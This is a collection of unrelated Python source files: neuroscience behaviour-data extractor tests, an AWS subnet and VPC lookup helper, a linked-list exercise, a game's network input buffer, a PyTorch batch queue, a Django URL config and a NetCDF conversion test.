self.assertTrue(all(choice[trial_nogo]) == 0) # -- version >= 5.0.0 choice = biased_trials.Choice(session_path=self.biased_ge5["path"]).extract(save=False)[0] self.assertTrue(isinstance(choice, np.ndarray)) data = raw.load_data(self.biased_ge5["path"]) trial_nogo = np.array([~np.isnan(t["behavior_data"]["States timestamps"]["no_go"][0][0]) for t in data]) if any(trial_nogo): self.assertTrue(all(choice[trial_nogo]) == 0) def test_get_repNum(self): # TODO: Test its sawtooth # TRAINING SESSIONS rn = training_trials.RepNum(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(rn, np.ndarray)) for i in range(3): self.assertTrue(i in rn) # -- version >= 5.0.0 rn = training_trials.RepNum(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(rn, np.ndarray)) for i in range(4): self.assertTrue(i in rn) # BIASED SESSIONS have no repeted trials def test_get_rewardVolume(self): # TRAINING SESSIONS rv = training_trials.RewardVolume(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(rv, np.ndarray)) # -- version >= 5.0.0 rv = training_trials.RewardVolume(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(rv, np.ndarray)) # BIASED SESSIONS rv = biased_trials.RewardVolume(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(rv, np.ndarray)) # Test if all non zero rewards are of the same value self.assertTrue(all([x == max(rv) for x in rv if x != 0])) # -- version >= 5.0.0 rv = biased_trials.RewardVolume(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(rv, np.ndarray)) # Test if all non zero rewards are of the same value self.assertTrue(all([x == max(rv) for x in rv if x != 0])) def test_get_feedback_times_ge5(self): # TRAINING SESSIONS ft = training_trials.FeedbackTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(ft, np.ndarray)) # BIASED SESSIONS ft = biased_trials.FeedbackTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(ft, np.ndarray)) def test_get_feedback_times_lt5(self): # TRAINING SESSIONS ft = training_trials.FeedbackTimes(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(ft, np.ndarray)) # BIASED SESSIONS ft = biased_trials.FeedbackTimes(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(ft, np.ndarray)) def test_get_stimOnTrigger_times(self): # TRAINING SESSIONS sott = training_trials.StimOnTriggerTimes(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(sott, np.ndarray)) # -- version >= 5.0.0 sott = training_trials.StimOnTriggerTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(sott, np.ndarray)) # BIASED SESSIONS sott = biased_trials.StimOnTriggerTimes(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(sott, np.ndarray)) # -- version >= 5.0.0 sott = biased_trials.StimOnTriggerTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(sott, np.ndarray)) def test_get_stimOn_times_lt5(self): # TRAINING SESSIONS st = training_trials.StimOnTimes_deprecated(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(st, np.ndarray)) # BIASED SESSIONS st = biased_trials.StimOnTimes_deprecated(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(st, np.ndarray)) def test_get_stimOn_times_ge5(self): # TRAINING SESSIONS st = training_trials.StimOnTimes_deprecated(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(st, np.ndarray)) # BIASED SESSIONS st = biased_trials.StimOnTimes_deprecated(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(st, np.ndarray)) def test_stimOnOffFreeze_times(self): # TRAINING SESSIONS st = training_trials.StimOnOffFreezeTimes(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(st[0], np.ndarray)) # BIASED SESSIONS st = biased_trials.StimOnOffFreezeTimes(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(st[0], np.ndarray)) # TRAINING SESSIONS st = training_trials.StimOnOffFreezeTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(st[0], np.ndarray)) # BIASED SESSIONS st = biased_trials.StimOnOffFreezeTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(st[0], np.ndarray)) def test_get_intervals(self): # TRAINING SESSIONS di = training_trials.Intervals(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(di, np.ndarray)) self.assertFalse(np.isnan(di).all()) # -- version >= 5.0.0 di = training_trials.Intervals(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(di, np.ndarray)) self.assertFalse(np.isnan(di).all()) # BIASED SESSIONS di = biased_trials.Intervals(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(di, np.ndarray)) self.assertFalse(np.isnan(di).all()) # -- version >= 5.0.0 di = biased_trials.Intervals(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(di, np.ndarray)) self.assertFalse(np.isnan(di).all()) def test_get_response_times(self): # TRAINING SESSIONS rt = training_trials.ResponseTimes(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(rt, np.ndarray)) # -- version >= 5.0.0 rt = training_trials.ResponseTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(rt, np.ndarray)) # BIASED SESSIONS rt = biased_trials.ResponseTimes(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(rt, np.ndarray)) # -- version >= 5.0.0 rt = biased_trials.ResponseTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(rt, np.ndarray)) def test_get_goCueTrigger_times(self): # TRAINING SESSIONS data = raw.load_data(self.training_lt5["path"]) gct = np.array([tr["behavior_data"]["States timestamps"]["closed_loop"][0][0] for tr in data]) self.assertTrue(isinstance(gct, np.ndarray)) # -- version >= 5.0.0 gct = training_trials.GoCueTriggerTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(gct, np.ndarray)) # BIASED SESSIONS data = raw.load_data(self.biased_lt5["path"]) gct = np.array([tr["behavior_data"]["States timestamps"]["closed_loop"][0][0] for tr in data]) self.assertTrue(isinstance(gct, np.ndarray)) # -- version >= 5.0.0 gct = biased_trials.GoCueTriggerTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(gct, np.ndarray)) def test_get_goCueOnset_times(self): # TRAINING SESSIONS gcot = training_trials.GoCueTimes(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(gcot, np.ndarray)) self.assertTrue(np.all(np.isnan(gcot))) self.assertTrue(gcot.size != 0 or gcot.size == 4) # -- version >= 5.0.0 gcot = training_trials.GoCueTimes(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(gcot, np.ndarray)) self.assertFalse(np.any(np.isnan(gcot))) self.assertTrue(gcot.size != 0 or gcot.size == 12) # BIASED SESSIONS gcot = biased_trials.GoCueTimes(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(gcot, np.ndarray)) self.assertFalse(np.any(np.isnan(gcot))) self.assertTrue(gcot.size != 0 or gcot.size == 4) # -- version >= 5.0.0 gcot = biased_trials.GoCueTimes(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(gcot, np.ndarray)) self.assertFalse(np.any(np.isnan(gcot))) self.assertTrue(gcot.size != 0 or gcot.size == 8) def test_get_included_trials_lt5(self): # TRAINING SESSIONS it = training_trials.IncludedTrials(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) # BIASED SESSIONS it = biased_trials.IncludedTrials(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) def test_get_included_trials_ge5(self): # TRAINING SESSIONS it = training_trials.IncludedTrials(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) # BIASED SESSIONS it = biased_trials.IncludedTrials(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) def test_get_included_trials(self): # TRAINING SESSIONS it = training_trials.IncludedTrials(self.training_lt5["path"]).extract(settings={"IBLRIG_VERSION_TAG": "4.9.9"})[0] self.assertTrue(isinstance(it, np.ndarray)) # -- version >= 5.0.0 it = training_trials.IncludedTrials(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) # BIASED SESSIONS it = biased_trials.IncludedTrials(self.biased_lt5["path"]).extract(settings={"IBLRIG_VERSION_TAG": "4.9.9"})[0] self.assertTrue(isinstance(it, np.ndarray)) # -- version >= 5.0.0 it = biased_trials.IncludedTrials(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(it, np.ndarray)) @wheelMoves_fixture def test_extract_all(self): # TRAINING SESSIONS # Expect an error raised because no wheel moves were present in test data with self.assertRaises(ValueError) as ex: training_trials.extract_all(self.training_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}, save=True) self.assertIn("_ibl_wheelMoves.intervals.npy appears to be empty", str(ex.exception)) # -- version >= 5.0.0 out, files = training_trials.extract_all(self.training_ge5["path"], save=True) self.assertEqual(19, len(out)) self.assertTrue(all(map(Path.exists, files))) # BIASED SESSIONS # The new trials extractor additionally extracts the wheel data and this fails for the < 5.0 # test data so we will stub the wheel extractor with unittest.mock.patch("ibllib.io.extractors.biased_trials.Wheel") as Wheel: Wheel.var_names = tuple() Wheel().extract.return_value = ({}, []) out, files = biased_trials.extract_all(self.biased_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}, save=True) self.assertEqual(15, len(out)) self.assertTrue(all(map(Path.exists, files))) # -- version >= 5.0.0 out, files = biased_trials.extract_all(self.biased_ge5["path"], save=True) self.assertEqual(19, len(out)) self.assertTrue(all(map(Path.exists, files))) def test_encoder_positions_clock_reset(self): # TRAINING SESSIONS # only for training? path = self.training_lt5["path"] / "raw_behavior_data" path = next(path.glob("_iblrig_encoderPositions.raw*.ssv"), None) dy = raw._load_encoder_positions_file_lt5(path) dat = np.array([849736, 1532230, 1822449, 1833514, 1841566, 1848206, 1853979, 1859144]) self.assertTrue(np.all(np.diff(dy["re_ts"]) > 0)) self.assertTrue(all(dy["re_ts"][6:] - 2**32 - dat == 0)) def test_encoder_positions_clock_errors(self): # here we test for 2 kinds of file corruption that happen # 1/2 the first sample time is corrupt and absurdly high and should be discarded # 2/2 2 samples are swapped and need to be swapped backk path = self.biased_lt5["path"] / "raw_behavior_data" path = next(path.glob("_iblrig_encoderPositions.raw*.ssv"), None) dy = raw._load_encoder_positions_file_lt5(path) self.assertTrue(np.all(np.diff(np.array(dy.re_ts)) > 0)) # -- version >= 5.0.0 path = self.biased_ge5["path"] / "raw_behavior_data" path = next(path.glob("_iblrig_encoderPositions.raw*.ssv"), None) dy = raw._load_encoder_positions_file_ge5(path) self.assertTrue(np.all(np.diff(np.array(dy.re_ts)) > 0)) def test_wheel_folders(self): # the wheel folder contains other errors in bpod output that had to be addressed for wf in self.wheel_lt5_path.glob("_iblrig_encoderPositions*.raw*.ssv"): df = raw._load_encoder_positions_file_lt5(wf) self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0)) for wf in self.wheel_lt5_path.glob("_iblrig_encoderEvents*.raw*.ssv"): df = raw._load_encoder_events_file_lt5(wf) self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0)) for wf in self.wheel_ge5_path.glob("_iblrig_encoderPositions*.raw*.ssv"): df = raw._load_encoder_positions_file_ge5(wf) self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0)) for wf in self.wheel_ge5_path.glob("_iblrig_encoderEvents*.raw*.ssv"): df = raw._load_encoder_events_file_ge5(wf) self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0)) def test_load_encoder_positions(self): raw.load_encoder_positions(self.training_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}) raw.load_encoder_positions(self.training_ge5["path"]) raw.load_encoder_positions(self.biased_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}) raw.load_encoder_positions(self.biased_ge5["path"]) def test_load_encoder_events(self): raw.load_encoder_events(self.training_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}) raw.load_encoder_events(self.training_ge5["path"]) raw.load_encoder_events(self.biased_lt5["path"], settings={"IBLRIG_VERSION_TAG": "4.9.9"}) raw.load_encoder_events(self.biased_ge5["path"]) def test_size_outputs(self): # check the output dimensions # VERSION >= 5.0.0 from ibllib.io.extractors.bpod_trials import extract_all extract_all(self.training_ge5["path"]) trials = alfio.load_object(self.training_ge5["path"] / "alf", object="trials") self.assertTrue(alfio.check_dimensions(trials) == 0) extract_all(self.biased_ge5["path"]) trials = alfio.load_object(self.biased_ge5["path"] / "alf", object="trials") self.assertTrue(alfio.check_dimensions(trials) == 0) # VERSION < 5.0.0 # for these test data there are no wheel moves so let's mock the output mock_data = { "intervals": np.array( [ [0, 1], ] ), "peakAmplitude": np.array([1, 1]), "peakVelocity_times": np.array([1, 1]), } function_name = "ibllib.io.extractors.training_wheel.extract_wheel_moves" # Training with unittest.mock.patch(function_name, return_value=mock_data): extract_all(self.training_lt5["path"]) trials = alfio.load_object(self.training_lt5["path"] / "alf", object="trials") self.assertTrue(alfio.check_dimensions(trials) == 0) # Biased with unittest.mock.patch(function_name, return_value=mock_data): extract_all(self.biased_lt5["path"]) trials = alfio.load_object(self.biased_lt5["path"] / "alf", object="trials") self.assertTrue(alfio.check_dimensions(trials) == 0) def tearDown(self): for f in self.main_path.rglob("_ibl_log.*.log"): f.unlink() [x.unlink() for x in self.training_lt5["path"].rglob("alf/*") if x.is_file()] [x.unlink() for x in self.biased_lt5["path"].rglob("alf/*") if x.is_file()] [x.unlink() for x in self.training_ge5["path"].rglob("alf/*") if x.is_file()] [x.unlink() for x in self.biased_ge5["path"].rglob("alf/*") if x.is_file()] [x.rmdir() for x in self.training_lt5["path"].rglob("alf/") if x.is_dir()] [x.rmdir() for x in self.biased_lt5["path"].rglob("alf/") if x.is_dir()] [x.rmdir() for x in self.training_ge5["path"].rglob("alf/") if x.is_dir()] [x.rmdir() for x in self.biased_ge5["path"].rglob("alf/") if x.is_dir()] class TestSyncWheelBpod(unittest.TestCase): def test_sync_bpod_bonsai_poor_quality_timestamps(self): sync_trials_robust = raw.sync_trials_robust drift_pol = np.array([11 * 1e-6, -20]) # bpod starts 20 secs before with 10 ppm drift np.random.seed(seed=784) t0_full = np.cumsum(np.random.rand(50)) + 0.001 t1_full = np.polyval(drift_pol, t0_full) + t0_full t0 = t0_full.copy() t1 = t1_full.copy() t0_, t1_ = sync_trials_robust(t0, t1) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(t0, t1[:-1]) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(t0, t1[1:]) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(t0[1:], t1) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(t0[:-1], t1) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(t0, np.delete(t1, 24)) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) t0_, t1_ = sync_trials_robust(np.delete(t0, 12), np.delete(t1, 24)) assert np.allclose(t1_, np.polyval(drift_pol, t0_) + t0_) class TestWheelLoaders(unittest.TestCase): def setUp(self) -> None: self.main_path = Path(__file__).parent def test_encoder_events_corrupt(self): path = self.main_path.joinpath("data", "wheel", "lt5") for file_events in path.rglob("_iblrig_encoderEvents.raw.*"): dy = raw._load_encoder_events_file_lt5(file_events) self.assertTrue(dy.size > 6) path = self.main_path.joinpath("data", "wheel", "ge5") for file_events in path.rglob("_iblrig_encoderEvents.raw.*"): dy = raw._load_encoder_events_file_ge5(file_events) self.assertTrue(dy.size > 6) def test_encoder_positions_corrupts(self): path = self.main_path.joinpath("data", "wheel", "ge5") for file_position in path.rglob("_iblrig_encoderPositions.raw.*"): dy = raw._load_encoder_positions_file_ge5(file_position) self.assertTrue(dy.size > 18) path = self.main_path.joinpath("data", "wheel", "lt5") for file_position in path.rglob("_iblrig_encoderPositions.raw.*"): dy = raw._load_encoder_positions_file_lt5(file_position) self.assertTrue(dy.size > 18) class MockExtracor(BaseExtractor): save_names = ( "some_file.csv", "some_file.tsv", "some_file.ssv", "some_file.npy", ) var_names = ( "csv", "ssv", "tsv", "npy", ) def _extract(self, **kwargs) -> tuple: csv = pd.DataFrame([1, 2, 3]) ssv = pd.DataFrame([1, 2, 3]) tsv = pd.DataFrame([1, 2, 3]) npy = np.array([1, 2, 3]) return (csv, ssv, tsv, npy) class TestBaseExtractorSavingMethods(unittest.TestCase): def setUp(self) -> None: self.tempdir = tempfile.TemporaryDirectory() self.session_path = self.tempdir.name # self.addClassCleanup(tempdir.cleanup) # py3.8 self.mock_extractor = MockExtracor(self.session_path) def test_saving_method(self): data, paths = self.mock_extractor.extract(save=True) self.assertTrue(all([x.exists() for x in paths])) def tearDown(self): self.tempdir.cleanup() class TestCameraExtractors(unittest.TestCase): def test_groom_pin_state(self): # UNIT DATA fps = 60 t_offset = 39.4 ts = np.arange(0, 10, 1 / fps) + t_offset # Add drift ts += np.full_like(ts, 1e-4).cumsum() n_pulses = 2 pulse_width = 0.3 duty = 0.5 gpio = {"indices": np.empty(n_pulses * 2, dtype=np.int32), "polarities": np.ones(n_pulses * 2, dtype=np.int32)} gpio["polarities"][1::2] = -1 aud_offset = 40.0 audio = {"times": np.empty(n_pulses * 2), "polarities": gpio["polarities"]} for p in range(n_pulses): i = p * 2 rise = (pulse_width * p) + duty * p + 1 audio["times"][i] = aud_offset + rise audio["times"][i + 1] = audio["times"][i] + pulse_width rise += t_offset gpio["indices"][i] = np.where(ts > rise)[0][0] gpio["indices"][i + 1] = np.where(ts > rise + pulse_width)[0][0] gpio_, audio_, ts_ = camera.groom_pin_state(gpio, audio, ts) self.assertEqual(audio, audio_, "Audio dict shouldn't be effected") np.testing.assert_array_almost_equal(ts_[:4], [40.0, 40.016667, 40.033333, 40.05]) # Broken TTLs + extra TTL delay = 0.08 pulse_width = 1e-5 t = audio["times"][0] + delay audio["times"] = np.sort(np.append(audio["times"], [t, t + pulse_width, 80])) audio["polarities"] = np.ones(audio["times"].shape, dtype=np.int32) audio["polarities"][1::2] = -1 gpio_, audio_, _ = camera.groom_pin_state(gpio, audio, ts, min_diff=5e-3) self.assertTrue(audio_["times"].size == gpio_["times"].size == 4) # One front shifted by a large amount audio["times"][4] -= 0.3 gpio_, audio_, _ = camera.groom_pin_state(gpio, audio, ts, tolerance=0.1, min_diff=5e-3) self.assertTrue(np.all(gpio_["times"] == audio_["times"])) self.assertTrue(np.all(gpio_["times"] == np.array([41.0, 41.3]))) def test_attribute_times(self, display=False): # Create two timestamp arrays at two different frequencies tsa = np.linspace(0, 60, 60 * 4)[:60] # 240bpm tsb = np.linspace(0, 60, 60 * 3)[:45] # 180bpm tsa = np.sort(np.append(tsa, 0.4)) # Add ambiguous front tsb = np.sort(np.append(tsb, 0.41)) if display: from ibllib.plots import vertical_lines import matplotlib.pyplot as plt vertical_lines(tsb, linestyle=":", color="r", label="tsb") vertical_lines(tsa, linestyle=":", color="b", label="tsa") plt.legend() # Check with default args matches = camera.attribute_times(tsa, tsb) expected = np.array( [ 0, 1, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14, 16, 17, 18, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 36, 37, 38, 40, 41, 42, 44, 45, 46, 48, 49, -1, 52, 53, -1, 56, 57, -1, 60, ] ) np.testing.assert_array_equal(matches, expected) self.assertEqual(matches.size, tsb.size) # Taking closest instead of first should change index of ambiguous front matches = camera.attribute_times(tsa, tsb, take="nearest") expected[np.r_[1:3]] = expected[1:3] + 1 np.testing.assert_array_equal(matches, expected) # Taking first after should exclude many pulses matches = camera.attribute_times(tsa, tsb, take="after") missing = [0, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20, 22, 23, 25, 26, 28, 29, 31, 32, 34, 35, 37, 40, 43] expected[missing] = -1 np.testing.assert_array_equal(matches, expected) # Lower tolerance matches = camera.attribute_times(tsa, tsb, tol=0.05) expected = np.array([0, 2, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57]) np.testing.assert_array_equal(matches[matches > -1], expected) # Remove injective assert matches = camera.attribute_times(tsa, tsb, injective=False, take="nearest") expected = np.array( [ 0, 2, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14, 16, 17, 18, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 36, 37, 38, 40, 41, 42, 44, 45, 46, 48, 49, -1, 52, 53, -1, 56, 57, -1, 60, ] ) np.testing.assert_array_equal(matches, expected) # Check input validation with self.assertRaises(ValueError): camera.attribute_times(tsa, tsb, injective=False, take="closest") if __name__ == "__main__": unittest.main(exit=False, verbosity=2)
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import boto3 class NetworkLookup: def __init__(self): self.loaded = 0 self.subnets = {} self.vpcs = {} def load(self): if self.loaded: return client = boto3.client("ec2") # load subnets subnets_r = client.describe_subnets() subnets_list = subnets_r["Subnets"] while "NextToken" in subnets_r: subnets_r = client.get_subnets(NextToken=subnets_r["NextToken"]) subnets_list.extend(subnets_r["Subnets"]) for subnet in subnets_list: name = None if "Tags" in subnet: for tag in subnet["Tags"]: if tag["Key"] == "Name": name = tag["Value"] if name is not None: self.subnets[name] = subnet["SubnetId"] # load vpcs vpcs_r = client.describe_vpcs() vpcs_list = vpcs_r["Vpcs"] while "NextToken" in vpcs_r: vpcs_r = client.describe_vpcs(NextToken=vpcs_r["NextToken"]) vpcs_list.extend(vpcs_r["Subnets"]) for vpc in vpcs_list: name = None if "Tags" in vpc: for tag in vpc["Tags"]: if tag["Key"] == "Name": name = tag["Value"] if name is not None: self.vpcs[name] = vpc["VpcId"] def get_subnets(self, environment_name, subnetname): self.load() return list( map(lambda x: self.subnets[x], filter(lambda x: x.startswith(f"{environment_name}{subnetname}"), self.subnets)) ) nl = NetworkLookup() def replace_subnets(value, parameters): if isinstance(value, str) and value.startswith("CfHl.Subnet"): parts = value.split(".") if len(parts) == 3: subnet_class = parts[2] environment_name = parameters["EnvironmentName"] subnets = nl.get_subnets(environment_name, subnet_class) if parts[1] == "Subnets": return subnets elif parts[1] == "Subnet": if subnets: return subnets[0] return value def replace_vpc(value, parameters): if isinstance(value, str) and value.startswith("CfHl.Vpc"): nl.load() parts = value.split(".") environment_name = parameters["EnvironmentName"] if len(parts) == 3: prop = parts[2] if prop == "Id": vpcs = nl.vpcs if f"{environment_name}-vpc" in vpcs: return vpcs[f"{environment_name}-vpc"] return value def replace_network(value, parameters): value = replace_subnets(value, parameters) value = replace_vpc(value, parameters) return value if __name__ == "__main__": print(replace_network("CfHl.Subnets.Public", {"EnvironmentName": "dev"})) print(replace_network("CfHl.Subnet.Public0", {"EnvironmentName": "dev"})) print(replace_network("CfHl.Vpc.Id", {"EnvironmentName": "dev"}))
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efcbe296ea72a94be967124a8ba8c84a524e2eb1
__author__ = "AChen" from rec_linked_list import * def filter_pos_rec(lst): """ @type lst: LinkedListRec >>> lst = LinkedListRec([3, -10, 4, 0]) >>> pos = filter_pos_rec(lst) >>> str(pos) '3 -> 4' """ if lst.is_empty(): return lst else: pos_rec = LinkedListRec([]) if lst._first > 0: pos_rec._first = lst._first pos_rec._rest = filter_pos_rec(lst._rest) else: pos_rec = filter_pos_rec(lst._rest) return pos_rec
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4789546128263bd298f8f5827734f8402747b9ac
from enum import Enum from roll.input import Input from roll.network import Server, Client from assets.game_projects.fighter.src.game_properties import GameProperties from assets.game_projects.fighter.src.network_message import NetworkMessage class InputBuffer: """ Responsible for collecting game input from both players. The game state will pull data from here if needed. Network messages will also update the input buffer when receiving data from the opposite player """ class Value(Enum): LEFT = "l" RIGHT = "r" UP = "u" DOWN = "d" WEAK_PUNCH = "wp" def __init__( self, left_action_name: str, right_action_name: str, weak_punch_action_name: str, frame_limit=12, ): self._inputs = {} self.left_action_name = left_action_name self.right_action_name = right_action_name self.weak_punch_action_name = weak_punch_action_name self._frame_limit = frame_limit def __str__(self): return f"{self._inputs}" def __repr__(self): return f"{self._inputs}" @property def values(self) -> list: return self._inputs.values() def add_input(self, input, frame: int) -> None: if frame in self._inputs: self._inputs[frame].append(input.value) else: self._inputs[frame] = [input.value] def get_inputs(self) -> dict: return self._inputs def get_frame_inputs(self, frame: int) -> list: return self._inputs.get(frame, []) def is_empty(self) -> bool: return len(self._inputs) == 0 def clear(self): self._inputs.clear() def poll_client_inputs(self, frame: int) -> None: if Input.is_action_pressed(action_name=self.left_action_name): self.add_input(input=InputBuffer.Value.LEFT, frame=frame) elif Input.is_action_pressed(action_name=self.right_action_name): self.add_input(input=InputBuffer.Value.RIGHT, frame=frame) if Input.is_action_pressed(action_name=self.weak_punch_action_name): self.add_input(input=InputBuffer.Value.WEAK_PUNCH, frame=frame) self._inputs.pop(frame - self._frame_limit, None) class OutgoingNetworkInputBuffer(InputBuffer): def __init__( self, left_action_name: str, right_action_name: str, weak_punch_action_name: str, frame_limit=12, ): super().__init__( left_action_name=left_action_name, right_action_name=right_action_name, weak_punch_action_name=weak_punch_action_name, frame_limit=frame_limit, ) self.game_properties = GameProperties() def poll_client_inputs(self, frame: int) -> None: super().poll_client_inputs(frame=frame) frame_inputs = self.get_frame_inputs(frame=frame) if frame_inputs: if self.game_properties.is_server: Server.send_message_to_all_clients( message=f"{NetworkMessage(message_id=NetworkMessage.ID.INPUTS, value=frame_inputs)}" ) else: Client.send_message_to_server( message=f"{NetworkMessage(message_id=NetworkMessage.ID.INPUTS, value=frame_inputs)}" ) class IncomingNetworkInputBuffer(InputBuffer): def __init__(self, frame_limit=12): super().__init__( left_action_name="", right_action_name="", weak_punch_action_name="", frame_limit=frame_limit, ) self.game_properties = GameProperties() def add_input(self, input: str, frame: int) -> None: if frame in self._inputs: self._inputs[frame].append(input) else: self._inputs[frame] = [input] def poll_client_inputs(self, frame: int) -> None: # TODO: Proper prediction if not self.game_properties.has_received_network_inputs: pass self._inputs.pop(frame - self._frame_limit, None)
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b693cc63e2ee4c994ef7b5e44faea99f15a021f6
import torch import torch.multiprocessing as mp import random class QManeger(object): def __init__(self, opt, q_trace, q_batch): self.traces_s = [] self.traces_a = [] self.traces_r = [] self.lock = mp.Lock() self.q_trace = q_trace self.q_batch = q_batch self.opt = opt self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu") def _push_one(self, state, action, reward): self.traces_s.append(state) self.traces_a.append(action) self.traces_r.append(reward) def listening(self): while True: traces = self.q_trace.get(block=True) for s, a, r in zip(traces[0], traces[1], traces[2]): self._push_one(s, a, r) if len(self.traces_s) > self.opt.batch_size: self.produce_batch() def produce_batch(self): batch_size = self.opt.batch_size res_s, res_a, res_r = self.traces_s[:batch_size], self.traces_a[:batch_size], self.traces_r[:batch_size] # delete del self.traces_s[:batch_size] del self.traces_a[:batch_size] del self.traces_r[:batch_size] res_s = torch.FloatTensor(res_s).to(self.device) res_a = torch.LongTensor(res_a).to(self.device) res_r = torch.FloatTensor(res_r).to(self.device).view(-1, 1) # stack batch and put self.q_batch.put((res_s, res_a, res_r))
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3c0beb7be29953ca2d7b390627305f4541b56efa
import sys sys.path.append("../circos_report/cnv_anno2conf") from cnv_anno2conf import main_cnv tarfile = {"yaml": "data/test_app.yaml"} def test_main_cnv(): main_cnv(tarfile) if __name__ == "__main__": test_main_cnv()
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8d0fcf0bf5effec9aa04e7cd56b4b7098c6713cb
for i in range(-10, 0): print(i, end=" ")
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a14114f9bb677601e6d75a72b84ec128fc9bbe61
from django.contrib import admin from django.urls import path, include, re_path from django.conf.urls import include # from rest_framework import routers from rest_framework.authtoken import views # from adventure.api import PlayerViewSet, RoomViewSet # from adventure.api import move # router = routers.DefaultRouter() # router.register('rooms', RoomViewSet) # router.register('currentRoom', PlayerViewSet) urlpatterns = [ path("admin/", admin.site.urls), path("api/", include("api.urls")), path("api/adv/", include("adventure.urls")), # path('api-token-auth', views.obtain_auth_token) ]
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36991c3191ba48b1b9dbd843e279f8fe124f1339
__author__ = "Jager" from char import Character class Rouge(Character): def special_attack1(self, opponent, hitdamage_callback, specatt_callback): pass # hook method def special_attack2(self, opponent, hitdamage_callback, specatt_callback): pass # hook method def heal(self, target): pass # hook method def regen_resource(self): pass # hook method def full_resource(self): pass
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0de657ee173b606ad61d614a6168c00fcd571a70
import os from .common import cached_outputs, data_files, test_outputs import nappy.nc_interface.na_to_nc import nappy.nc_interface.nc_to_na def test_convert_nc_2010_to_na_2310(): ffi_in, ffi_out = (2010, 2310) infile = os.path.join(cached_outputs, f"{ffi_in}.nc") outfile = os.path.join(test_outputs, f"{ffi_out}_from_nc_{ffi_in}.na") # Reading: infile x = nappy.nc_interface.nc_to_na.NCToNA(infile, requested_ffi=ffi_out) # Writing: outfile x.writeNAFiles(outfile, delimiter=",", float_format="%g")
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06638b361c1cbe92660d242969590dfa45b63a4d
